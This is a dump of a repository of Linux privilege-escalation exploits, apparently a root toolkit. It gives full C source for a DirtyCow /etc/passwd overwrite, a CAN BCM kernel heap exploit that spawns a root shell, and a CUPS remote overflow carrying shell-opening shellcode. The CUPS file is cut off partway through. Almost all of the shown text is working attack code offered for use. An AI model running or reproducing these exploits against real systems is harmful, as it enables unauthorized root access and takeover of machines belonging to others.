├── 1 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 2 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 3 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 4 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 5 ├── exploit.c └── exploit_64 ├── 6 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 7 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 8 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 9 ├── exploit.c └── exploit_32 ├── 10 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 11 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 12 ├── exploit.c ├── exploit_32 └── exploit_64 ├── 13 ├── exploit.c ├── exploit_32 └── exploit_64 ├── README.md ├── click_n_root.sh ├── list.yml ├── server.py └── unix-privesc-check /1/exploit.c: -------------------------------------------------------------------------------- 1 | // 2 | // This exploit uses the pokemon exploit of the dirtycow vulnerability 3 | // as a base and automatically generates a new passwd line. 4 | // The user will be prompted for the new password when the binary is run. 5 | // The original /etc/passwd file is then backed up to /tmp/passwd.bak 6 | // and overwrites the root account with the generated line. 7 | // After running the exploit you should be able to login with the newly 8 | // created user. 9 | // 10 | // To use this exploit modify the user values according to your needs. 11 | // The default is "firefart". 12 | // 13 | // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): 14 | // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c 15 | // 16 | // Compile with: 17 | // gcc -pthread dirty.c -o dirty -lcrypt 18 | // 19 | // Then run the newly create binary by either doing: 20 | // "./dirty" or "./dirty my-new-password" 21 | // 22 | // Afterwards, you can either "su firefart" or "ssh firefart@..." 23 | // 24 | // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! 25 | // mv /tmp/passwd.bak /etc/passwd 26 | // 27 | // Exploit adopted by Christian "FireFart" Mehlmauer 28 | // https://firefart.at 29 | // 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | const char *filename = "/etc/passwd"; 46 | const char *backup_filename = "/tmp/passwd.bak"; 47 | const char *salt = "firefart"; 48 | 49 | int f; 50 | void *map; 51 | pid_t pid; 52 | pthread_t pth; 53 | struct stat st; 54 | 55 | struct Userinfo { 56 | char *username; 57 | char *hash; 58 | int user_id; 59 | int group_id; 60 | char *info; 61 | char *home_dir; 62 | char *shell; 63 | }; 64 | 65 | char *generate_password_hash(char *plaintext_pw) { 66 | return crypt(plaintext_pw, salt); 67 | } 68 | 69 | char *generate_passwd_line(struct Userinfo u) { 70 | const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; 71 | int size = snprintf(NULL, 0, format, u.username, u.hash, 72 | u.user_id, u.group_id, u.info, u.home_dir, u.shell); 73 | char *ret = malloc(size + 1); 74 | sprintf(ret, format, u.username, u.hash, u.user_id, 75 | u.group_id, u.info, u.home_dir, u.shell); 76 | return ret; 77 | } 78 | 79 | void *madviseThread(void *arg) { 80 | int i, c = 0; 81 | for(i = 0; i < 200000000; i++) { 82 | c += madvise(map, 100, MADV_DONTNEED); 83 | } 84 | printf("madvise %d\n\n", c); 85 | } 86 | 87 | int copy_file(const char *from, const char *to) { 88 | // check if target file already exists 89 | if(access(to, F_OK) != -1) { 90 | printf("File %s already exists! Please delete it and run again\n", 91 | to); 92 | return -1; 93 | } 94 | 95 | char ch; 96 | FILE *source, *target; 97 | 98 | source = fopen(from, "r"); 99 | if(source == NULL) { 100 | return -1; 101 | } 102 | target = fopen(to, "w"); 103 | if(target == NULL) { 104 | fclose(source); 105 | return -1; 106 | } 107 | 108 | while((ch = fgetc(source)) != EOF) { 109 | fputc(ch, target); 110 | } 111 | 112 | printf("%s successfully backed up to %s\n", 113 | from, to); 114 | 115 | fclose(source); 116 | fclose(target); 117 | 118 | return 0; 119 | } 120 | 121 | int main(int argc, char *argv[]) 122 | { 123 | // backup file 124 | int ret = copy_file(filename, backup_filename); 125 | if (ret != 0) { 126 | exit(ret); 127 | } 128 | 129 | struct Userinfo user; 130 | // set values, change as needed 131 | user.username = "evait"; 132 | user.user_id = 0; 133 | user.group_id = 0; 134 | user.info = "pwned"; 135 | user.home_dir = "/root"; 136 | user.shell = "/bin/bash"; 137 | 138 | char *plaintext_pw; 139 | 140 | if (argc >= 2) { 141 | plaintext_pw = argv[1]; 142 | printf("Please enter the new password: %s\n", plaintext_pw); 143 | } else { 144 | plaintext_pw = getpass("Please enter the new password: "); 145 | } 146 | 147 | user.hash = generate_password_hash(plaintext_pw); 148 | char *complete_passwd_line = generate_passwd_line(user); 149 | printf("Complete line:\n%s\n", complete_passwd_line); 150 | 151 | f = open(filename, O_RDONLY); 152 | fstat(f, &st); 153 | map = mmap(NULL, 154 | st.st_size + sizeof(long), 155 | PROT_READ, 156 | MAP_PRIVATE, 157 | f, 158 | 0); 159 | printf("mmap: %lx\n",(unsigned long)map); 160 | pid = fork(); 161 | if(pid) { 162 | waitpid(pid, NULL, 0); 163 | int u, i, o, c = 0; 164 | int l=strlen(complete_passwd_line); 165 | for(i = 0; i < 10000/l; i++) { 166 | for(o = 0; o < l; o++) { 167 | for(u = 0; u < 10000; u++) { 168 | c += ptrace(PTRACE_POKETEXT, 169 | pid, 170 | map + o, 171 | *((long*)(complete_passwd_line + o))); 172 | } 173 | } 174 | } 175 | printf("ptrace %d\n",c); 176 | } 177 | else { 178 | pthread_create(&pth, 179 | NULL, 180 | madviseThread, 181 | NULL); 182 | ptrace(PTRACE_TRACEME); 183 | kill(getpid(), SIGSTOP); 184 | pthread_join(pth,NULL); 185 | } 186 | 187 | printf("Done! Check %s to see if the new user was created\n", filename); 188 | printf("You can log in with username %s and password %s.\n\n", 189 | user.username, plaintext_pw); 190 | printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n", 191 | filename, backup_filename); 192 | return 0; 193 | } 194 | -------------------------------------------------------------------------------- /1/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/1/exploit_32 -------------------------------------------------------------------------------- /1/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/1/exploit_64 -------------------------------------------------------------------------------- /10/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * linux 2.6.37-3.x.x x86_64, ~100 LOC 3 | * gcc-4.6 -O2 semtex.c && ./a.out 4 | * 2010 sd@fucksheep.org, salut! 5 | * 6 | * update may 2013: 7 | * seems like centos 2.6.32 backported the perf bug, lol. 8 | * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. 9 | */ 10 | 11 | #define _GNU_SOURCE 1 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define BASE 0x380000000 23 | #define SIZE 0x010000000 24 | #define KSIZE 0x2000000 25 | #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) 26 | 27 | void fuck() { 28 | int i,j,k; 29 | uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; 30 | uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); 31 | uint64_t kbase = ((uint64_t)current)>>36; 32 | uint32_t *fixptr = (void*) AB(1); 33 | *fixptr = -1; 34 | 35 | for (i=0; i<4000; i+=4) { 36 | uint64_t *p = (void *)¤t[i]; 37 | uint32_t *t = (void*) p[0]; 38 | if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; 39 | for (j=0; j<20; j++) { for (k = 0; k < 8; k++) 40 | if (((uint32_t*)uids)[k] != t[j+k]) goto next; 41 | for (i = 0; i < 8; i++) t[j+i] = 0; 42 | for (i = 0; i < 10; i++) t[j+9+i] = -1; 43 | return; 44 | next:; } 45 | } 46 | } 47 | 48 | void sheep(uint32_t off) { 49 | uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; 50 | int fd = syscall(298, buf, 0, -1, -1, 0); 51 | assert(!close(fd)); 52 | } 53 | 54 | 55 | int main() { 56 | uint64_t u,g,needle, kbase, *p; uint8_t *code; 57 | uint32_t *map, j = 5; 58 | int i; 59 | struct { 60 | uint16_t limit; 61 | uint64_t addr; 62 | } __attribute__((packed)) idt; 63 | assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); 64 | memset(map, 0, SIZE); 65 | sheep(-1); sheep(-2); 66 | for (i = 0; i < SIZE/4; i++) if (map[i]) { 67 | assert(map[i+1]); 68 | break; 69 | } 70 | assert(i 6 | * http://jon.oberheide.org 7 | * 8 | * Information: 9 | * 10 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959 11 | * 12 | * Ben Hawkes discovered an integer overflow in the Controller Area Network 13 | * (CAN) subsystem when setting up frame content and filtering certain 14 | * messages. An attacker could send specially crafted CAN traffic to crash 15 | * the system or gain root privileges. 16 | * 17 | * Usage: 18 | * 19 | * $ gcc i-can-haz-modharden.c -o i-can-haz-modharden 20 | * $ ./i-can-haz-modharden 21 | * ... 22 | * [+] launching root shell! 23 | * # id 24 | * uid=0(root) gid=0(root) 25 | * 26 | * Notes: 27 | * 28 | * The allocation pattern of the CAN BCM module gives us some desirable 29 | * properties for smashing the SLUB. We control the kmalloc with a 16-byte 30 | * granularity allowing us to place our allocation in the SLUB cache of our 31 | * choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for 32 | * old-times sake). The allocation can also be made in its own discrete 33 | * stage before the overwrite which allows us to be a bit more conservative 34 | * in ensuring the proper layout of our SLUB cache. 35 | * 36 | * To exploit the vulnerability, we first create a BCM RX op with a crafted 37 | * nframes to trigger the integer overflow during the kmalloc. On the second 38 | * call to update the existing RX op, we bypass the E2BIG check since the 39 | * stored nframes in the op is large, yet has an insufficiently sized 40 | * allocation associated with it. We then have a controlled write into the 41 | * adjacent shmid_kernel object in the 96-byte SLUB cache. 42 | * 43 | * However, while we control the length of the SLUB overwrite via a 44 | * memcpy_fromiovec operation, there exists a memset operation that directly 45 | * follows which zeros out last_frames, likely an adjacent allocation, with 46 | * the same malformed length, effectively nullifying our shmid smash. To 47 | * work around this, we take advantage of the fact that copy_from_user can 48 | * perform partial writes on x86 and trigger an EFAULT by setting up a 49 | * truncated memory mapping as the source for the memcpy_fromiovec operation, 50 | * allowing us to smash the necessary amount of memory and then pop out and 51 | * return early before the memset operation occurs. 52 | * 53 | * We then perform a dry-run and detect the shmid smash via an EIDRM errno 54 | * from shmat() caused by an invalid ipc_perm sequence number. Once we're 55 | * sure we have a shmid_kernel under our control we re-smash it with the 56 | * malformed version and redirect control flow to our credential modifying 57 | * calls mapped in user space. 58 | * 59 | * Distros: please use grsecurity's MODHARDEN or SELinux's module_request 60 | * to restrict unprivileged loading of uncommon packet families. Allowing 61 | * the loading of poorly-written PF modules just adds a non-trivial and 62 | * unnecessary attack surface to the kernel. 63 | * 64 | * Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports 65 | * easily to other vulnerable kernels/distros. Careful, it could use some 66 | * post-exploitation stability love as well. 67 | * 68 | * Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that 69 | * this exploit borrows code from. 70 | */ 71 | 72 | #include 73 | #include 74 | #include 75 | #include 76 | #include 77 | #include 78 | #include 79 | #include 80 | #include 81 | #include 82 | #include 83 | #include 84 | #include 85 | #include 86 | #include 87 | 88 | #define SLUB "kmalloc-96" 89 | #define ALLOCATION 96 90 | #define FILLER 100 91 | 92 | #ifndef PF_CAN 93 | #define PF_CAN 29 94 | #endif 95 | 96 | #ifndef CAN_BCM 97 | #define CAN_BCM 2 98 | #endif 99 | 100 | struct sockaddr_can { 101 | sa_family_t can_family; 102 | int can_ifindex; 103 | union { 104 | struct { uint32_t rx_id, tx_id; } tp; 105 | } can_addr; 106 | }; 107 | 108 | struct can_frame { 109 | uint32_t can_id; 110 | uint8_t can_dlc; 111 | uint8_t data[8] __attribute__((aligned(8))); 112 | }; 113 | 114 | struct bcm_msg_head { 115 | uint32_t opcode; 116 | uint32_t flags; 117 | uint32_t count; 118 | struct timeval ival1, ival2; 119 | uint32_t can_id; 120 | uint32_t nframes; 121 | struct can_frame frames[0]; 122 | }; 123 | 124 | #define RX_SETUP 5 125 | #define RX_DELETE 6 126 | #define CFSIZ sizeof(struct can_frame) 127 | #define MHSIZ sizeof(struct bcm_msg_head) 128 | #define IPCMNI 32768 129 | #define EIDRM 43 130 | #define HDRLEN_KMALLOC 8 131 | 132 | struct list_head { 133 | struct list_head *next; 134 | struct list_head *prev; 135 | }; 136 | 137 | struct super_block { 138 | struct list_head s_list; 139 | unsigned int s_dev; 140 | unsigned long s_blocksize; 141 | unsigned char s_blocksize_bits; 142 | unsigned char s_dirt; 143 | uint64_t s_maxbytes; 144 | void *s_type; 145 | void *s_op; 146 | void *dq_op; 147 | void *s_qcop; 148 | void *s_export_op; 149 | unsigned long s_flags; 150 | } super_block; 151 | 152 | struct mutex { 153 | unsigned int count; 154 | unsigned int wait_lock; 155 | struct list_head wait_list; 156 | void *owner; 157 | }; 158 | 159 | struct inode { 160 | struct list_head i_hash; 161 | struct list_head i_list; 162 | struct list_head i_sb_list; 163 | struct list_head i_dentry_list; 164 | unsigned long i_ino; 165 | unsigned int i_count; 166 | unsigned int i_nlink; 167 | unsigned int i_uid; 168 | unsigned int i_gid; 169 | unsigned int i_rdev; 170 | uint64_t i_version; 171 | uint64_t i_size; 172 | unsigned int i_size_seqcount; 173 | long i_atime_tv_sec; 174 | long i_atime_tv_nsec; 175 | long i_mtime_tv_sec; 176 | long i_mtime_tv_nsec; 177 | long i_ctime_tv_sec; 178 | long i_ctime_tv_nsec; 179 | uint64_t i_blocks; 180 | unsigned int i_blkbits; 181 | unsigned short i_bytes; 182 | unsigned short i_mode; 183 | unsigned int i_lock; 184 | struct mutex i_mutex; 185 | unsigned int i_alloc_sem_activity; 186 | unsigned int i_alloc_sem_wait_lock; 187 | struct list_head i_alloc_sem_wait_list; 188 | void *i_op; 189 | void *i_fop; 190 | struct super_block *i_sb; 191 | void *i_flock; 192 | void *i_mapping; 193 | char i_data[84]; 194 | void *i_dquot_1; 195 | void *i_dquot_2; 196 | struct list_head i_devices; 197 | void *i_pipe_union; 198 | unsigned int i_generation; 199 | unsigned int i_fsnotify_mask; 200 | void *i_fsnotify_mark_entries; 201 | struct list_head inotify_watches; 202 | struct mutex inotify_mutex; 203 | } inode; 204 | 205 | struct dentry { 206 | unsigned int d_count; 207 | unsigned int d_flags; 208 | unsigned int d_lock; 209 | int d_mounted; 210 | void *d_inode; 211 | struct list_head d_hash; 212 | void *d_parent; 213 | } dentry; 214 | 215 | struct file_operations { 216 | void *owner; 217 | void *llseek; 218 | void *read; 219 | void *write; 220 | void *aio_read; 221 | void *aio_write; 222 | void *readdir; 223 | void *poll; 224 | void *ioctl; 225 | void *unlocked_ioctl; 226 | void *compat_ioctl; 227 | void *mmap; 228 | void *open; 229 | void *flush; 230 | void *release; 231 | void *fsync; 232 | void *aio_fsync; 233 | void *fasync; 234 | void *lock; 235 | void *sendpage; 236 | void *get_unmapped_area; 237 | void *check_flags; 238 | void *flock; 239 | void *splice_write; 240 | void *splice_read; 241 | void *setlease; 242 | } op; 243 | 244 | struct vfsmount { 245 | struct list_head mnt_hash; 246 | void *mnt_parent; 247 | void *mnt_mountpoint; 248 | void *mnt_root; 249 | void *mnt_sb; 250 | struct list_head mnt_mounts; 251 | struct list_head mnt_child; 252 | int mnt_flags; 253 | const char *mnt_devname; 254 | struct list_head mnt_list; 255 | struct list_head mnt_expire; 256 | struct list_head mnt_share; 257 | struct list_head mnt_slave_list; 258 | struct list_head mnt_slave; 259 | struct vfsmount *mnt_master; 260 | struct mnt_namespace *mnt_ns; 261 | int mnt_id; 262 | int mnt_group_id; 263 | int mnt_count; 264 | } vfsmount; 265 | 266 | struct file { 267 | struct list_head fu_list; 268 | struct vfsmount *f_vfsmnt; 269 | struct dentry *f_dentry; 270 | void *f_op; 271 | unsigned int f_lock; 272 | unsigned long f_count; 273 | } file; 274 | 275 | struct kern_ipc_perm { 276 | unsigned int lock; 277 | int deleted; 278 | int id; 279 | unsigned int key; 280 | unsigned int uid; 281 | unsigned int gid; 282 | unsigned int cuid; 283 | unsigned int cgid; 284 | unsigned int mode; 285 | unsigned int seq; 286 | void *security; 287 | }; 288 | 289 | struct shmid_kernel { 290 | struct kern_ipc_perm shm_perm; 291 | struct file *shm_file; 292 | unsigned long shm_nattch; 293 | unsigned long shm_segsz; 294 | time_t shm_atim; 295 | time_t shm_dtim; 296 | time_t shm_ctim; 297 | unsigned int shm_cprid; 298 | unsigned int shm_lprid; 299 | void *mlock_user; 300 | } shmid_kernel; 301 | 302 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 303 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 304 | _commit_creds commit_creds; 305 | _prepare_kernel_cred prepare_kernel_cred; 306 | 307 | int __attribute__((regparm(3))) 308 | kernel_code(struct file *file, void *vma) 309 | { 310 | commit_creds(prepare_kernel_cred(0)); 311 | return -1; 312 | } 313 | 314 | unsigned long 315 | get_symbol(char *name) 316 | { 317 | FILE *f; 318 | unsigned long addr; 319 | char dummy; 320 | char sname[512]; 321 | int ret = 0, oldstyle; 322 | 323 | f = fopen("/proc/kallsyms", "r"); 324 | if (f == NULL) { 325 | f = fopen("/proc/ksyms", "r"); 326 | if (f == NULL) 327 | return 0; 328 | oldstyle = 1; 329 | } 330 | 331 | while (ret != EOF) { 332 | if (!oldstyle) { 333 | ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname); 334 | } else { 335 | ret = fscanf(f, "%p %s\n", (void **) &addr, sname); 336 | if (ret == 2) { 337 | char *p; 338 | if (strstr(sname, "_O/") || strstr(sname, "_S.")) { 339 | continue; 340 | } 341 | p = strrchr(sname, '_'); 342 | if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) { 343 | p = p - 4; 344 | while (p > (char *)sname && *(p - 1) == '_') { 345 | p--; 346 | } 347 | *p = '\0'; 348 | } 349 | } 350 | } 351 | if (ret == 0) { 352 | fscanf(f, "%s\n", sname); 353 | continue; 354 | } 355 | if (!strcmp(name, sname)) { 356 | printf("[+] resolved symbol %s to %p\n", name, (void *) addr); 357 | fclose(f); 358 | return addr; 359 | } 360 | } 361 | fclose(f); 362 | 363 | return 0; 364 | } 365 | 366 | int 367 | check_slabinfo(char *cache, int *active_out, int *total_out) 368 | { 369 | FILE *fp; 370 | char name[64], slab[256]; 371 | int active, total, diff; 372 | 373 | memset(slab, 0, sizeof(slab)); 374 | memset(name, 0, sizeof(name)); 375 | 376 | fp = fopen("/proc/slabinfo", "r"); 377 | if (!fp) { 378 | printf("[-] sorry, /proc/slabinfo is not available!"); 379 | exit(1); 380 | } 381 | 382 | fgets(slab, sizeof(slab) - 1, fp); 383 | while (1) { 384 | fgets(slab, sizeof(slab) - 1, fp); 385 | sscanf(slab, "%s %u %u", name, &active, &total); 386 | diff = total - active; 387 | if (strcmp(name, cache) == 0) { 388 | break; 389 | } 390 | } 391 | fclose(fp); 392 | 393 | if (active_out) { 394 | *active_out = active; 395 | } 396 | if (total_out) { 397 | *total_out = total; 398 | } 399 | return diff; 400 | } 401 | 402 | void 403 | trigger(void) 404 | { 405 | int *shmids; 406 | int i, ret, sock, cnt, base, smashed; 407 | int diff, active, total, active_new, total_new; 408 | int len, sock_len, mmap_len; 409 | struct sockaddr_can addr; 410 | struct bcm_msg_head *msg; 411 | void *efault; 412 | char *buf; 413 | 414 | printf("[+] creating PF_CAN socket...\n"); 415 | 416 | sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM); 417 | if (sock < 0) { 418 | printf("[-] kernel lacks CAN packet family support\n"); 419 | exit(1); 420 | } 421 | 422 | printf("[+] connecting PF_CAN socket...\n"); 423 | 424 | memset(&addr, 0, sizeof(addr)); 425 | addr.can_family = PF_CAN; 426 | 427 | ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr)); 428 | if (sock < 0) { 429 | printf("[-] could not connect CAN socket\n"); 430 | exit(1); 431 | } 432 | 433 | len = MHSIZ + (CFSIZ * (ALLOCATION / 16)); 434 | msg = malloc(len); 435 | memset(msg, 0, len); 436 | msg->can_id = 2959; 437 | msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1; 438 | 439 | printf("[+] clearing out any active OPs via RX_DELETE...\n"); 440 | 441 | msg->opcode = RX_DELETE; 442 | ret = send(sock, msg, len, 0); 443 | 444 | printf("[+] removing any active user-owned shmids...\n"); 445 | 446 | system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;"); 447 | 448 | printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n"); 449 | 450 | diff = check_slabinfo(SLUB, &active, &total); 451 | 452 | shmids = malloc(sizeof(int) * diff * 10); 453 | 454 | cnt = diff * 10; 455 | for (i = 0; i < cnt; ++i) { 456 | diff = check_slabinfo(SLUB, &active, &total); 457 | if (diff == 0) { 458 | break; 459 | } 460 | shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); 461 | } 462 | base = i; 463 | 464 | if (diff != 0) { 465 | printf("[-] inconsistency detected with SLUB cache allocation, please try again\n"); 466 | exit(1); 467 | } 468 | 469 | printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n"); 470 | 471 | i = base; 472 | cnt = i + FILLER; 473 | for (; i < cnt; ++i) { 474 | shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); 475 | } 476 | 477 | msg->opcode = RX_SETUP; 478 | ret = send(sock, msg, len, 0); 479 | if (ret < 0) { 480 | printf("[-] kernel rejected malformed CAN header\n"); 481 | exit(1); 482 | } 483 | 484 | i = base + FILLER; 485 | cnt = i + FILLER; 486 | for (; i < cnt; ++i) { 487 | shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); 488 | } 489 | 490 | printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n"); 491 | 492 | mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3); 493 | sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4); 494 | efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 495 | 496 | printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault); 497 | 498 | printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n"); 499 | 500 | msg = (struct bcm_msg_head *) efault; 501 | memset(msg, 0, mmap_len); 502 | msg->can_id = 2959; 503 | msg->nframes = (ALLOCATION / 16) * 4; 504 | 505 | msg->opcode = RX_SETUP; 506 | ret = send(sock, msg, mmap_len, 0); 507 | if (ret != -1 && errno != EFAULT) { 508 | printf("[-] couldn't trigger EFAULT, exploit aborting!\n"); 509 | exit(1); 510 | } 511 | 512 | printf("[+] seeking out the smashed shmid_kernel...\n"); 513 | 514 | i = base; 515 | cnt = i + FILLER + FILLER; 516 | for (; i < cnt; ++i) { 517 | ret = (int) shmat(shmids[i], NULL, SHM_RDONLY); 518 | if (ret == -1 && errno == EIDRM) { 519 | smashed = i; 520 | break; 521 | } 522 | } 523 | if (i == cnt) { 524 | printf("[-] could not find smashed shmid, trying running the exploit again!\n"); 525 | exit(1); 526 | } 527 | 528 | printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]); 529 | 530 | printf("[+] re-smashing the shmid_kernel with exploit payload...\n"); 531 | 532 | shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI; 533 | 534 | buf = (char *) msg; 535 | memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel)); 536 | 537 | msg->opcode = RX_SETUP; 538 | ret = send(sock, msg, mmap_len, 0); 539 | if (ret != -1 && errno != EFAULT) { 540 | printf("[-] couldn't trigger EFAULT, exploit aborting!\n"); 541 | exit(1); 542 | } 543 | 544 | ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY); 545 | if (ret == -1 && errno != EIDRM) { 546 | setresuid(0, 0, 0); 547 | setresgid(0, 0, 0); 548 | 549 | printf("[+] launching root shell!\n"); 550 | 551 | execl("/bin/bash", "/bin/bash", NULL); 552 | exit(0); 553 | } 554 | 555 | printf("[-] exploit failed! retry?\n"); 556 | } 557 | 558 | void 559 | setup(void) 560 | { 561 | printf("[+] looking for symbols...\n"); 562 | 563 | commit_creds = (_commit_creds) get_symbol("commit_creds"); 564 | if (!commit_creds) { 565 | printf("[-] symbol table not availabe, aborting!\n"); 566 | } 567 | 568 | prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); 569 | if (!prepare_kernel_cred) { 570 | printf("[-] symbol table not availabe, aborting!\n"); 571 | } 572 | 573 | printf("[+] setting up exploit payload...\n"); 574 | 575 | super_block.s_flags = 0; 576 | 577 | inode.i_size = 4096; 578 | inode.i_sb = &super_block; 579 | inode.inotify_watches.next = &inode.inotify_watches; 580 | inode.inotify_watches.prev = &inode.inotify_watches; 581 | inode.inotify_mutex.count = 1; 582 | 583 | dentry.d_count = 4096; 584 | dentry.d_flags = 4096; 585 | dentry.d_parent = NULL; 586 | dentry.d_inode = &inode; 587 | 588 | op.mmap = &kernel_code; 589 | op.get_unmapped_area = &kernel_code; 590 | 591 | vfsmount.mnt_flags = 0; 592 | vfsmount.mnt_count = 1; 593 | 594 | file.fu_list.prev = &file.fu_list; 595 | file.fu_list.next = &file.fu_list; 596 | file.f_dentry = &dentry; 597 | file.f_vfsmnt = &vfsmount; 598 | file.f_op = &op; 599 | 600 | shmid_kernel.shm_perm.key = IPC_PRIVATE; 601 | shmid_kernel.shm_perm.uid = getuid(); 602 | shmid_kernel.shm_perm.gid = getgid(); 603 | shmid_kernel.shm_perm.cuid = getuid(); 604 | shmid_kernel.shm_perm.cgid = getgid(); 605 | shmid_kernel.shm_perm.mode = -1; 606 | shmid_kernel.shm_file = &file; 607 | } 608 | 609 | int 610 | main(int argc, char **argv) 611 | { 612 | setup(); 613 | trigger(); 614 | return 0; 615 | } 616 | -------------------------------------------------------------------------------- /11/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/11/exploit_32 -------------------------------------------------------------------------------- /11/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/11/exploit_64 -------------------------------------------------------------------------------- /12/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * by sigdoom [at] bigbox.mine.nu 3 | * 4 | * CUPS remote exploit. Exploits integer overflow and gives you shell with 5 | * daemons priviledges (usualy lp), after that you can try to use local 6 | * CUPS exploit to get root. 7 | * 8 | * 1.1.17 and earlier versions are affected. Tested on gentoo with 9 | * installed cups-1.1.17_pre20021025: 10 | * 11 | * $ gcc -o sigcups sigcups.c && ./sigcups -t 127.0.0.1 12 | * [*] connecting to 127.0.0.1 port 631 13 | * [*] trying retaddr = 0x2fffbed8; *4 = 0xbffefb60 14 | * [*] connected, sending exploit... 15 | * [*] done... let's see if we have a shell... 16 | * [*] w000t, here's a shell kiddie... 17 | * uid=4(lp) gid=7(lp) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) 18 | * Linux fox.chroot.lt 2.4.20 #2 Sun Dec 29 18:30:35 EET 2002 i686 Pentium III (Coppermine) GenuineIntel GNU/Linux 19 | * 20 | */ 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #define BUF_SIZE 4096 29 | 30 | #define die(a) { perror("[!] "a); exit(-1); } 31 | 32 | int verbose = 0; 33 | char *host = "127.0.0.1"; 34 | int port = 631; 35 | unsigned long retaddr = 805289688; /* exploit: *($retaddr * 4) = $address_of_shellcode */ 36 | 37 | char greet[] = "POST /jobs HTTP/1.1\nContent-type: application/x-www-form-urlencoded\nContent-length: %d\n\n"; 38 | char evilmsg[] = "-%u="; 39 | 40 | /* 41 | * Bind shell hack by s0t4ipv6@shellcode.com.ar 42 | */ 43 | char hellcode[]= 44 | "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" 45 | "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x0a\x50\x68" 46 | "\x02\x00\x23\x82\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" 47 | "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" 48 | "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; 49 | void usage(char *p) { 50 | printf( 51 | "Remote CUPS exploit for 1.1.17 and earlier versions\n" 52 | "by sigdoom [at] bigbox.mine.nu\n" 53 | "Usage: %s [-t , -p , -o , -r ]\n" 54 | "\t-t - IP of target\n" 55 | "\t-p - port where cupsd runs\n" 56 | "\t-o - offset for retaddr ($retaddr + $offset)\n" 57 | "\t-r - give exact retaddr\n", p); 58 | exit(0); 59 | } 60 | 61 | int main(int argc, char *argv[]) { 62 | struct sockaddr_in dest; 63 | int i, off, sock; 64 | fd_set rset; 65 | char buf[BUF_SIZE], buf2[BUF_SIZE]; 66 | char 